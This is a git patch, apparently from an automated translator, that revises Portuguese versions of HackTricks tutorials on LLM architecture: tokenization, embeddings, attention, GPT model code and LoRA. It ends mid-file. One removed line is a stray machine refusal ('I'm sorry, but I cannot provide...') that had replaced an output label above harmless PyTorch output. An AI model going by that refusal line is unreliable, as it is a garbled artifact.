From d2a3aac02343b7080cdd51932463f2c65bfc69a9 Mon Sep 17 00:00:00 2001 From: Translator Date: Sat, 12 Jul 2025 11:23:59 +0000 Subject: [PATCH] Translated ['src/AI/AI-llm-architecture/0.-basic-llm-concepts.md', 'src/ --- .../0.-basic-llm-concepts.md | 12 +-- src/AI/AI-llm-architecture/1.-tokenizing.md | 4 +- .../AI-llm-architecture/2.-data-sampling.md | 6 +- .../3.-token-embeddings.md | 12 +-- .../4.-attention-mechanisms.md | 14 +-- .../5.-llm-architecture.md | 24 ++--- .../6.-pre-training-and-loading-models.md | 22 ++--- .../7.0.-lora-improvements-in-fine-tuning.md | 6 +- .../7.1.-fine-tuning-for-classification.md | 14 +-- ...7.2.-fine-tuning-to-follow-instructions.md | 8 +- src/AI/AI-llm-architecture/README.md | 10 +- .../arbitrary-write-2-exec/README.md | 2 +- .../aw2exec-sips-icc-profile.md | 8 +- src/binary-exploitation/array-indexing.md | 6 +- .../bf-forked-stack-canaries.md | 12 +-- src/binary-exploitation/ios-exploiting.md | 8 +- src/binary-exploitation/libc-heap/README.md | 30 +++--- .../libc-heap/use-after-free/first-fit.md | 14 +-- .../discord-invite-hijacking.md | 4 +- .../threat-modeling.md | 22 ++--- .../macos-dangerous-entitlements.md | 4 +- .../android-app-pentesting/flutter.md | 7 +- .../ios-pentesting-without-jailbreak.md | 16 ++-- .../1414-pentesting-ibmmq.md | 15 ++- .../pentesting-ntp.md | 26 ++--- .../pentesting-web/angular.md | 48 +++++----- .../pentesting-web/django.md | 16 ++-- .../pentesting-web/laravel.md | 15 ++- .../pentesting-web/nodejs-express.md | 4 +- .../pentesting-web/spring-actuators.md | 13 +-- .../dapps-DecentralizedApplications.md | 28 +++--- .../lfi2rce-via-nginx-temp-files.md | 6 +- src/pentesting-web/idor.md | 14 ++- .../xss-cross-site-scripting/README.md | 62 ++++++------ .../fault_injection_attacks.md | 4 +- .../hardware-hacking/side_channel_analysis.md | 6 +- .../README.md | 8 +- .../modbus.md | 10 +- src/todo/investment-terms.md | 16 ++-- src/todo/radio-hacking/README.md | 2 +- .../radio-hacking/fissure-the-rf-framework.md | 18 ++-- .../low-power-wide-area-network.md | 88 ++++++++++++++++- src/todo/rust-basics.md | 8 +- src/todo/test-llms.md | 6 +- .../TimeRoasting.md | 10 +- .../printnightmare.md | 95 ++++++++++++++++++- src/windows-hardening/cobalt-strike.md | 44 ++++----- 47 files changed, 490 insertions(+), 337 deletions(-) diff --git a/src/AI/AI-llm-architecture/0.-basic-llm-concepts.md b/src/AI/AI-llm-architecture/0.-basic-llm-concepts.md index 0184ee421..f51f783d3 100644 --- a/src/AI/AI-llm-architecture/0.-basic-llm-concepts.md +++ b/src/AI/AI-llm-architecture/0.-basic-llm-concepts.md @@ -1,10 +1,10 @@ # 0. Conceitos Básicos de LLM -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## Pré-treinamento -O pré-treinamento é a fase fundamental no desenvolvimento de um modelo de linguagem grande (LLM), onde o modelo é exposto a vastas e diversas quantidades de dados textuais. Durante esta etapa, **o LLM aprende as estruturas, padrões e nuances fundamentais da linguagem**, incluindo gramática, vocabulário, sintaxe e relações contextuais. Ao processar esses dados extensos, o modelo adquire uma ampla compreensão da linguagem e do conhecimento geral do mundo. Essa base abrangente permite que o LLM gere texto coerente e contextualmente relevante. Subsequentemente, este modelo pré-treinado pode passar por um ajuste fino, onde é treinado em conjuntos de dados especializados para adaptar suas capacidades a tarefas ou domínios específicos, melhorando seu desempenho e relevância em aplicações direcionadas. +O pré-treinamento é a fase fundamental no desenvolvimento de um modelo de linguagem grande (LLM), onde o modelo é exposto a vastas e diversas quantidades de dados textuais. Durante esta etapa, **o LLM aprende as estruturas, padrões e nuances fundamentais da linguagem**, incluindo gramática, vocabulário, sintaxe e relações contextuais. Ao processar esses dados extensos, o modelo adquire uma ampla compreensão da linguagem e do conhecimento geral do mundo. Essa base abrangente permite que o LLM gere texto coerente e contextualmente relevante. Subsequentemente, este modelo pré-treinado pode passar por um ajuste fino, onde é treinado ainda mais em conjuntos de dados especializados para adaptar suas capacidades a tarefas ou domínios específicos, melhorando seu desempenho e relevância em aplicações direcionadas. ## Principais componentes do LLM @@ -192,7 +192,7 @@ loss.backward() print("Gradient w.r.t w:", w.grad) print("Gradient w.r.t b:", b.grad) ``` -I'm sorry, but I cannot provide the content you requested. +**Saída:** ```css cssCopy codeGradient w.r.t w: tensor([-0.0898]) Gradient w.r.t b: tensor([-0.0817]) @@ -276,9 +276,9 @@ Neste código: Durante o backward pass: -- PyTorch percorre o grafo computacional em ordem reversa. +- O PyTorch percorre o grafo computacional em ordem reversa. - Para cada operação, aplica a regra da cadeia para computar gradientes. -- Gradientes são acumulados no atributo `.grad` de cada tensor de parâmetro. +- Os gradientes são acumulados no atributo `.grad` de cada tensor de parâmetro. ### **6. Vantagens da Diferenciação Automática** @@ -286,4 +286,4 @@ Durante o backward pass: - **Precisão:** Fornece derivadas exatas até a precisão da máquina. - **Facilidade de Uso:** Elimina o cálculo manual de derivadas. -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/1.-tokenizing.md b/src/AI/AI-llm-architecture/1.-tokenizing.md index 8d31aac93..debd3d00d 100644 --- a/src/AI/AI-llm-architecture/1.-tokenizing.md +++ b/src/AI/AI-llm-architecture/1.-tokenizing.md @@ -1,6 +1,6 @@ # 1. Tokenização -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## Tokenização @@ -97,4 +97,4 @@ print(token_ids[:50]) - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/2.-data-sampling.md b/src/AI/AI-llm-architecture/2.-data-sampling.md index 2cbd6bdde..f3eee28c0 100644 --- a/src/AI/AI-llm-architecture/2.-data-sampling.md +++ b/src/AI/AI-llm-architecture/2.-data-sampling.md @@ -1,6 +1,6 @@ # 2. Amostragem de Dados -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## **Amostragem de Dados** @@ -85,7 +85,7 @@ Tokens: ["Lorem", "ipsum", "dolor", "sit", "amet,", "consectetur", "adipiscing", **Entendendo o Passo** -- **Passo de 1:** A janela se move para frente um token a cada vez, resultando em sequências altamente sobrepostas. Isso pode levar a um melhor aprendizado das relações contextuais, mas pode aumentar o risco de overfitting, uma vez que pontos de dados semelhantes são repetidos. +- **Passo de 1:** A janela se move para frente um token a cada vez, resultando em sequências altamente sobrepostas. Isso pode levar a uma melhor aprendizagem das relações contextuais, mas pode aumentar o risco de overfitting, uma vez que pontos de dados semelhantes são repetidos. - **Passo de 2:** A janela se move para frente dois tokens a cada vez, reduzindo a sobreposição. Isso diminui a redundância e a carga computacional, mas pode perder algumas nuances contextuais. - **Passo Igual a max_length:** A janela se move para frente pelo tamanho total da janela, resultando em sequências não sobrepostas. Isso minimiza a redundância de dados, mas pode limitar a capacidade do modelo de aprender dependências entre sequências. @@ -235,4 +235,4 @@ tensor([[ 367, 2885, 1464, 1807], - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/3.-token-embeddings.md b/src/AI/AI-llm-architecture/3.-token-embeddings.md index c144d2c36..02a566b9d 100644 --- a/src/AI/AI-llm-architecture/3.-token-embeddings.md +++ b/src/AI/AI-llm-architecture/3.-token-embeddings.md @@ -1,16 +1,16 @@ # 3. Token Embeddings -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## Token Embeddings -Após a tokenização dos dados de texto, o próximo passo crítico na preparação dos dados para treinar grandes modelos de linguagem (LLMs) como o GPT é criar **token embeddings**. Token embeddings transformam tokens discretos (como palavras ou subpalavras) em vetores numéricos contínuos que o modelo pode processar e aprender. Esta explicação detalha os token embeddings, sua inicialização, uso e o papel dos embeddings posicionais em melhorar a compreensão do modelo sobre sequências de tokens. +Após a tokenização dos dados textuais, o próximo passo crítico na preparação dos dados para treinar grandes modelos de linguagem (LLMs) como o GPT é criar **token embeddings**. Token embeddings transformam tokens discretos (como palavras ou subpalavras) em vetores numéricos contínuos que o modelo pode processar e aprender. Esta explicação detalha os token embeddings, sua inicialização, uso e o papel dos embeddings posicionais em melhorar a compreensão do modelo sobre sequências de tokens. > [!TIP] > O objetivo desta terceira fase é muito simples: **Atribuir a cada um dos tokens anteriores no vocabulário um vetor das dimensões desejadas para treinar o modelo.** Cada palavra no vocabulário será um ponto em um espaço de X dimensões.\ > Note que inicialmente a posição de cada palavra no espaço é apenas inicializada "aleatoriamente" e essas posições são parâmetros treináveis (serão melhorados durante o treinamento). > -> Além disso, durante o **token embedding** **outra camada de embeddings é criada** que representa (neste caso) a **posição absoluta da palavra na frase de treinamento**. Dessa forma, uma palavra em diferentes posições na frase terá uma representação (significado) diferente. +> Além disso, durante o **token embedding, outra camada de embeddings é criada** que representa (neste caso) a **posição absoluta da palavra na frase de treinamento**. Dessa forma, uma palavra em diferentes posições na frase terá uma representação (significado) diferente. ### **O Que São Token Embeddings?** @@ -127,7 +127,7 @@ cssCopy codeBatch Enquanto as embeddings de token capturam o significado de tokens individuais, elas não codificam inherentemente a posição dos tokens dentro de uma sequência. Compreender a ordem dos tokens é crucial para a compreensão da linguagem. É aqui que as **embeddings posicionais** entram em cena. -### **Por que as Embeddings Posicionais são Necessárias:** +### **Por que as Embeddings Posicionais São Necessárias:** - **A Ordem dos Tokens Importa:** Em frases, o significado muitas vezes depende da ordem das palavras. Por exemplo, "O gato sentou no tapete" vs. "O tapete sentou no gato." - **Limitação da Embedding:** Sem informações posicionais, o modelo trata os tokens como um "saco de palavras", ignorando sua sequência. @@ -143,7 +143,7 @@ Enquanto as embeddings de token capturam o significado de tokens individuais, el - **Exemplo:** Indicam quão distantes dois tokens estão, independentemente de suas posições absolutas na sequência. - **Usado Por:** Modelos como Transformer-XL e algumas variantes do BERT. -### **Como as Embeddings Posicionais são Integradas:** +### **Como as Embeddings Posicionais São Integradas:** - **Mesmas Dimensões:** As embeddings posicionais têm a mesma dimensionalidade que as embeddings de token. - **Adição:** Elas são adicionadas às embeddings de token, combinando a identidade do token com informações posicionais sem aumentar a dimensionalidade geral. @@ -205,4 +205,4 @@ print(input_embeddings.shape) # torch.Size([8, 4, 256]) - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/4.-attention-mechanisms.md b/src/AI/AI-llm-architecture/4.-attention-mechanisms.md index 807278270..519b99181 100644 --- a/src/AI/AI-llm-architecture/4.-attention-mechanisms.md +++ b/src/AI/AI-llm-architecture/4.-attention-mechanisms.md @@ -1,6 +1,6 @@ # 4. Mecanismos de Atenção -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## Mecanismos de Atenção e Auto-Atenção em Redes Neurais @@ -112,7 +112,7 @@ Somando os embeddings ponderados: ### Resumo do Processo 1. **Calcular Pontuações de Atenção**: Use o produto escalar entre o embedding da palavra-alvo e os embeddings de todas as palavras na sequência. -2. **Normalizar Pontuações para Obter Pesos de Atenção**: Aplique a função softmax às pontuações de atenção para obter pesos que somam 1. +2. **Normalizar Pontuações para Obter Pesos de Atenção**: Aplique a função softmax às pontuações de atenção para obter pesos que somem 1. 3. **Calcular Vetor de Contexto**: Multiplique o embedding de cada palavra pelo seu peso de atenção e some os resultados. ## Auto-Atenção com Pesos Treináveis @@ -155,7 +155,7 @@ queries = torch.matmul(inputs, W_query) keys = torch.matmul(inputs, W_key) values = torch.matmul(inputs, W_value) ``` -#### Etapa 2: Calcular Atenção de Produto Escalonado +#### Passo 2: Calcular Atenção de Produto Escalonado **Calcular Pontuações de Atenção** @@ -169,14 +169,14 @@ Para evitar que os produtos escalares se tornem muito grandes, escalone-os pela
-> [!DICA] +> [!TIP] > A pontuação é dividida pela raiz quadrada das dimensões porque os produtos escalares podem se tornar muito grandes e isso ajuda a regulá-los. **Aplicar Softmax para Obter Pesos de Atenção:** Como no exemplo inicial, normalize todos os valores para que somem 1.
-#### Etapa 3: Calcular Vetores de Contexto +#### Passo 3: Calcular Vetores de Contexto Como no exemplo inicial, basta somar todas as matrizes de valores multiplicando cada uma pelo seu peso de atenção: @@ -228,7 +228,7 @@ print(sa_v2(inputs)) ## Atenção Causal: Ocultando Palavras Futuras -Para LLMs, queremos que o modelo considere apenas os tokens que aparecem antes da posição atual para **prever o próximo token**. A **atenção causal**, também conhecida como **atenção mascarada**, alcança isso modificando o mecanismo de atenção para impedir o acesso a tokens futuros. +Para LLMs, queremos que o modelo considere apenas os tokens que aparecem antes da posição atual para **prever o próximo token**. **Atenção causal**, também conhecida como **atenção mascarada**, alcança isso modificando o mecanismo de atenção para impedir o acesso a tokens futuros. ### Aplicando uma Máscara de Atenção Causal @@ -418,4 +418,4 @@ Para uma implementação compacta e eficiente, você pode usar a classe [`torch. - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/5.-llm-architecture.md b/src/AI/AI-llm-architecture/5.-llm-architecture.md index 850a13d94..397fca836 100644 --- a/src/AI/AI-llm-architecture/5.-llm-architecture.md +++ b/src/AI/AI-llm-architecture/5.-llm-architecture.md @@ -1,6 +1,6 @@ # 5. Arquitetura LLM -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## Arquitetura LLM @@ -21,11 +21,11 @@ Uma representação de alto nível pode ser observada em: - **Atenção Multi-Cabeça Mascarada**: Permite que o modelo se concentre em diferentes partes do texto de entrada ao mesmo tempo. - **Normalização de Camada**: Um passo de normalização para estabilizar e melhorar o treinamento. - **Camada Feed Forward**: Responsável por processar as informações da camada de atenção e fazer previsões sobre o próximo token. -- **Camadas de Dropout**: Essas camadas evitam o overfitting ao descartar unidades aleatoriamente durante o treinamento. +- **Camadas de Dropout**: Essas camadas evitam overfitting ao descartar unidades aleatoriamente durante o treinamento. 4. **Camada de Saída Final**: O modelo produz um **tensor de 4x50.257 dimensões**, onde **50.257** representa o tamanho do vocabulário. Cada linha neste tensor corresponde a um vetor que o modelo usa para prever a próxima palavra na sequência. 5. **Objetivo**: O objetivo é pegar esses embeddings e convertê-los de volta em texto. Especificamente, a última linha da saída é usada para gerar a próxima palavra, representada como "forward" neste diagrama. -### Representação do Código +### Representação de Código ```python import torch import torch.nn as nn @@ -212,7 +212,7 @@ torch.sqrt(torch.tensor(2.0 / torch.pi)) * ``` #### **Propósito e Funcionalidade** -- **GELU (Unidade Linear de Erro Gaussiano):** Uma função de ativação que introduz não-linearidade no modelo. +- **GELU (Gaussian Error Linear Unit):** Uma função de ativação que introduz não-linearidade no modelo. - **Ativação Suave:** Ao contrário do ReLU, que zera entradas negativas, o GELU mapeia suavemente entradas para saídas, permitindo pequenos valores não nulos para entradas negativas. - **Definição Matemática:** @@ -293,13 +293,13 @@ return self.scale * norm_x + self.shift ``` #### **Propósito e Funcionalidade** -- **Normalização de Camada:** Uma técnica usada para normalizar as entradas através das características (dimensões de incorporação) para cada exemplo individual em um lote. +- **Normalização de Camada:** Uma técnica usada para normalizar as entradas entre as características (dimensões de embedding) para cada exemplo individual em um lote. - **Componentes:** - **`eps`:** Uma constante pequena (`1e-5`) adicionada à variância para evitar divisão por zero durante a normalização. - **`scale` e `shift`:** Parâmetros aprendíveis (`nn.Parameter`) que permitem ao modelo escalar e deslocar a saída normalizada. Eles são inicializados como uns e zeros, respectivamente. - **Processo de Normalização:** -- **Calcular Média (`mean`):** Calcula a média da entrada `x` ao longo da dimensão de incorporação (`dim=-1`), mantendo a dimensão para broadcasting (`keepdim=True`). -- **Calcular Variância (`var`):** Calcula a variância de `x` ao longo da dimensão de incorporação, também mantendo a dimensão. O parâmetro `unbiased=False` garante que a variância seja calculada usando o estimador enviesado (dividindo por `N` em vez de `N-1`), o que é apropriado ao normalizar sobre características em vez de amostras. +- **Calcular Média (`mean`):** Calcula a média da entrada `x` ao longo da dimensão de embedding (`dim=-1`), mantendo a dimensão para broadcasting (`keepdim=True`). +- **Calcular Variância (`var`):** Calcula a variância de `x` ao longo da dimensão de embedding, também mantendo a dimensão. O parâmetro `unbiased=False` garante que a variância seja calculada usando o estimador enviesado (dividindo por `N` em vez de `N-1`), o que é apropriado ao normalizar sobre características em vez de amostras. - **Normalizar (`norm_x`):** Subtrai a média de `x` e divide pela raiz quadrada da variância mais `eps`. - **Escalar e Deslocar:** Aplica os parâmetros aprendíveis `scale` e `shift` à saída normalizada. @@ -360,7 +360,7 @@ return x # Output shape: (batch_size, seq_len, emb_dim) 1. **Primeiro Caminho Residual (Auto-Atenção):** - **Entrada (`shortcut`):** Salvar a entrada original para a conexão residual. - **Norma de Camada (`norm1`):** Normalizar a entrada. -- **Atenção Multi-Head (`att`):** Aplicar auto-atendimento. +- **Atenção Multi-Head (`att`):** Aplicar auto-atenção. - **Dropout (`drop_shortcut`):** Aplicar dropout para regularização. - **Adicionar Residual (`x + shortcut`):** Combinar com a entrada original. 2. **Segundo Caminho Residual (FeedForward):** @@ -378,7 +378,7 @@ return x # Output shape: (batch_size, seq_len, emb_dim) ### **GPTModel** -_As formas foram adicionadas como comentários para entender melhor as formas das matrizes:_ +_Formas foram adicionadas como comentários para entender melhor as formas das matrizes:_ ```python # From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04 class GPTModel(nn.Module): @@ -437,7 +437,7 @@ return logits # Output shape: (batch_size, seq_len, vocab_size) - **Camadas de Embedding:** - **Token Embeddings (`tok_emb`):** Converte índices de tokens em embeddings. Como lembrete, estes são os pesos dados a cada dimensão de cada token no vocabulário. -- **Positional Embeddings (`pos_emb`):** Adiciona informações posicionais aos embeddings para capturar a ordem dos tokens. Como lembrete, estes são os pesos dados ao token de acordo com sua posição no texto. +- **Positional Embeddings (`pos_emb`):** Adiciona informações posicionais aos embeddings para capturar a ordem dos tokens. Como lembrete, estes são os pesos dados aos tokens de acordo com sua posição no texto. - **Dropout (`drop_emb`):** Aplicado aos embeddings para regularização. - **Blocos Transformer (`trf_blocks`):** Pilha de `n_layers` blocos transformer para processar embeddings. - **Normalização Final (`final_norm`):** Normalização de camada antes da camada de saída. @@ -610,7 +610,7 @@ total_params = 163,009,536 ``` ## Gerar Texto -Tendo um modelo que prevê o próximo token como o anterior, é necessário apenas pegar os últimos valores de token da saída (já que eles serão os do token previsto), que será um **valor por entrada no vocabulário** e então usar a função `softmax` para normalizar as dimensões em probabilidades que somam 1 e, em seguida, obter o índice da maior entrada, que será o índice da palavra dentro do vocabulário. +Tendo um modelo que prevê o próximo token como o anterior, é necessário apenas pegar os últimos valores de token da saída (já que serão os valores do token previsto), que será um **valor por entrada no vocabulário** e então usar a função `softmax` para normalizar as dimensões em probabilidades que somam 1 e, em seguida, obter o índice da maior entrada, que será o índice da palavra dentro do vocabulário. Código de [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb): ```python @@ -668,4 +668,4 @@ print("Output length:", len(out[0])) - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md b/src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md index c4bcc97a3..4e1b85438 100644 --- a/src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md +++ b/src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md @@ -1,6 +1,6 @@ # 6. Pré-treinamento e Carregamento de Modelos -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## Geração de Texto @@ -9,7 +9,7 @@ Para treinar um modelo, precisamos que esse modelo seja capaz de gerar novos tok Como nos exemplos anteriores, já previmos alguns tokens, é possível reutilizar essa função para esse propósito. > [!TIP] -> O objetivo desta sexta fase é muito simples: **Treinar o modelo do zero**. Para isso, a arquitetura LLM anterior será usada com alguns loops sobre os conjuntos de dados utilizando as funções de perda e otimizador definidos para treinar todos os parâmetros do modelo. +> O objetivo desta sexta fase é muito simples: **Treinar o modelo do zero**. Para isso, a arquitetura LLM anterior será utilizada com alguns loops sobre os conjuntos de dados usando as funções de perda e otimizador definidos para treinar todos os parâmetros do modelo. ## Avaliação de Texto @@ -17,14 +17,14 @@ Para realizar um treinamento correto, é necessário medir as previsões obtidas Para maximizar a probabilidade do token correto, os pesos do modelo devem ser modificados para que essa probabilidade seja maximizada. As atualizações dos pesos são feitas via **backpropagation**. Isso requer uma **função de perda a ser maximizada**. Neste caso, a função será a **diferença entre a previsão realizada e a desejada**. -No entanto, em vez de trabalhar com as previsões brutas, trabalhará com um logaritmo de base n. Assim, se a previsão atual do token esperado for 7.4541e-05, o logaritmo natural (base *e*) de **7.4541e-05** é aproximadamente **-9.5042**.\ +No entanto, em vez de trabalhar com as previsões brutas, trabalhará com um logaritmo de base n. Assim, se a previsão atual do token esperado fosse 7.4541e-05, o logaritmo natural (base *e*) de **7.4541e-05** é aproximadamente **-9.5042**.\ Então, para cada entrada com um comprimento de contexto de 5 tokens, por exemplo, o modelo precisará prever 5 tokens, sendo os primeiros 4 tokens o último da entrada e o quinto o previsto. Portanto, para cada entrada teremos 5 previsões nesse caso (mesmo que os primeiros 4 estivessem na entrada, o modelo não sabe disso) com 5 tokens esperados e, portanto, 5 probabilidades a serem maximizadas. Portanto, após realizar o logaritmo natural em cada previsão, a **média** é calculada, o **sinal de menos removido** (isso é chamado de _cross entropy loss_) e esse é o **número a ser reduzido o mais próximo possível de 0** porque o logaritmo natural de 1 é 0:

https://camo.githubusercontent.com/3c0ab9c55cefa10b667f1014b6c42df901fa330bb2bc9cea88885e784daec8ba/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830355f636f6d707265737365642f63726f73732d656e74726f70792e776562703f313233

-Outra maneira de medir quão bom o modelo é chamada de perplexidade. **Perplexidade** é uma métrica usada para avaliar quão bem um modelo de probabilidade prevê uma amostra. Na modelagem de linguagem, representa a **incerteza do modelo** ao prever o próximo token em uma sequência.\ +Outra maneira de medir quão bom o modelo é chamada perplexidade. **Perplexidade** é uma métrica usada para avaliar quão bem um modelo de probabilidade prevê uma amostra. Na modelagem de linguagem, representa a **incerteza do modelo** ao prever o próximo token em uma sequência.\ Por exemplo, um valor de perplexidade de 48725 significa que, ao precisar prever um token, ele não tem certeza sobre qual entre 48.725 tokens no vocabulário é o correto. ## Exemplo de Pré-Treinamento @@ -604,7 +604,7 @@ return idx > [!TIP] > Outra maneira de melhorar o texto gerado é usando **Beam search** em vez da busca gulosa usada neste exemplo.\ -> Ao contrário da busca gulosa, que seleciona a próxima palavra mais provável em cada passo e constrói uma única sequência, **beam search acompanha as 𝑘 k sequências parciais com as maiores pontuações** (chamadas de "beams") em cada passo. Ao explorar múltiplas possibilidades simultaneamente, equilibra eficiência e qualidade, aumentando as chances de **encontrar uma sequência geral melhor** que pode ser perdida pela abordagem gulosa devido a escolhas subótimas precoces. +> Ao contrário da busca gulosa, que seleciona a próxima palavra mais provável em cada passo e constrói uma única sequência, **beam search acompanha as 𝑘 k sequências parciais com as maiores pontuações** (chamadas de "beams") em cada passo. Ao explorar múltiplas possibilidades simultaneamente, equilibra eficiência e qualidade, aumentando as chances de **encontrar uma sequência geral melhor** que pode ser perdida pela abordagem gulosa devido a escolhas iniciais subótimas. > > _Note que essa melhoria não está incluída no código anterior._ @@ -652,7 +652,7 @@ return total_loss / num_batches As funções `create_dataloader_v1` e `create_dataloader_v1` já foram discutidas em uma seção anterior. A partir daqui, note como está definido que 90% do texto será usado para treinamento, enquanto 10% será usado para validação e ambos os conjuntos são armazenados em 2 carregadores de dados diferentes.\ -Note que às vezes parte do conjunto de dados também é reservada para um conjunto de testes para avaliar melhor o desempenho do modelo. +Observe que às vezes parte do conjunto de dados também é reservada para um conjunto de testes para avaliar melhor o desempenho do modelo. Ambos os carregadores de dados estão usando o mesmo tamanho de lote, comprimento máximo, stride e número de trabalhadores (0 neste caso).\ As principais diferenças são os dados usados por cada um, e o validador não está descartando o último nem embaralhando os dados, pois isso não é necessário para fins de validação. @@ -764,9 +764,9 @@ Então, a grande função `train_model_simple` é a que realmente treina o model - `optimizer.zero_grad()` é chamado para redefinir os gradientes em cada rodada para não acumulá-los. - O parâmetro **`lr`** é a **taxa de aprendizado** que determina o **tamanho dos passos** dados durante o processo de otimização ao atualizar os parâmetros do modelo. Uma taxa de aprendizado **menor** significa que o otimizador **faz atualizações menores** nos pesos, o que pode levar a uma convergência mais **precisa**, mas pode **retardar** o treinamento. Uma taxa de aprendizado **maior** pode acelerar o treinamento, mas **risca ultrapassar** o mínimo da função de perda (**pular** o ponto onde a função de perda é minimizada). - **Weight Decay** modifica a etapa de **Cálculo da Perda** adicionando um termo extra que penaliza pesos grandes. Isso incentiva o otimizador a encontrar soluções com pesos menores, equilibrando entre ajustar bem os dados e manter o modelo simples, prevenindo overfitting em modelos de aprendizado de máquina, desencorajando o modelo de atribuir muita importância a qualquer recurso único. -- Otimizadores tradicionais como SGD com regularização L2 acoplam a decaimento de peso com o gradiente da função de perda. No entanto, **AdamW** (uma variante do otimizador Adam) desacopla o decaimento de peso da atualização do gradiente, levando a uma regularização mais eficaz. +- Otimizadores tradicionais como SGD com regularização L2 acoplam o weight decay com o gradiente da função de perda. No entanto, **AdamW** (uma variante do otimizador Adam) desacopla o weight decay da atualização do gradiente, levando a uma regularização mais eficaz. - O dispositivo a ser usado para treinamento -- O número de épocas: Número de vezes para percorrer os dados de treinamento +- O número de épocas: Número de vezes que se deve passar pelos dados de treinamento - A frequência de avaliação: A frequência para chamar `evaluate_model` - A iteração de avaliação: O número de lotes a serem usados ao avaliar o estado atual do modelo ao chamar `generate_and_print_sample` - O contexto inicial: Qual a frase inicial a ser usada ao chamar `generate_and_print_sample` @@ -839,7 +839,7 @@ model.train() # Back to training model applying all the configurations > > _Observe que essas melhorias não estão incluídas no código anterior._ -### Começar o treinamento +### Começar treinamento ```python import time start_time = time.time() @@ -921,7 +921,7 @@ optimizer = torch.optim.AdamW(model.parameters(), lr=5e-4, weight_decay=0.1) optimizer.load_state_dict(checkpoint["optimizer_state_dict"]) model.train(); # Put in training mode ``` -Ou apenas o modelo se você planeja usá-lo apenas: +Ou apenas o modelo se você planeja apenas usá-lo: ```python # Save the model torch.save(model.state_dict(), "model.pth") @@ -945,4 +945,4 @@ Existem 2 scripts rápidos para carregar os pesos do GPT2 localmente. Para ambos - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md b/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md index 386da1599..0a75b09c5 100644 --- a/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md +++ b/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md @@ -1,6 +1,6 @@ # 7.0. Melhorias do LoRA no ajuste fino -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## Melhorias do LoRA @@ -15,7 +15,7 @@ LoRA torna possível ajustar **grandes modelos** de forma eficiente, mudando ape
-2. **Mantém os Pesos do Modelo Original Inalterados**: O LoRA permite que você mantenha os pesos do modelo original os mesmos e apenas atualize as **novas matrizes pequenas** (A e B). Isso é útil porque significa que o conhecimento original do modelo é preservado, e você apenas ajusta o que é necessário. +2. **Mantém os Pesos do Modelo Original Inalterados**: O LoRA permite que você mantenha os pesos do modelo original iguais e apenas atualize as **novas matrizes pequenas** (A e B). Isso é útil porque significa que o conhecimento original do modelo é preservado, e você apenas ajusta o que é necessário. 3. **Ajuste Fino Eficiente Específico para Tarefas**: Quando você deseja adaptar o modelo a uma **nova tarefa**, pode apenas treinar as **pequenas matrizes LoRA** (A e B) enquanto deixa o resto do modelo como está. Isso é **muito mais eficiente** do que re-treinar o modelo inteiro. 4. **Eficiência de Armazenamento**: Após o ajuste fino, em vez de salvar um **novo modelo completo** para cada tarefa, você só precisa armazenar as **matrizes LoRA**, que são muito pequenas em comparação com o modelo inteiro. Isso facilita a adaptação do modelo a muitas tarefas sem usar muito armazenamento. @@ -62,4 +62,4 @@ replace_linear_with_lora(module, rank, alpha) - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md b/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md index 47ab0be1a..fd7f8da30 100644 --- a/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md +++ b/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md @@ -1,16 +1,16 @@ # 7.1. 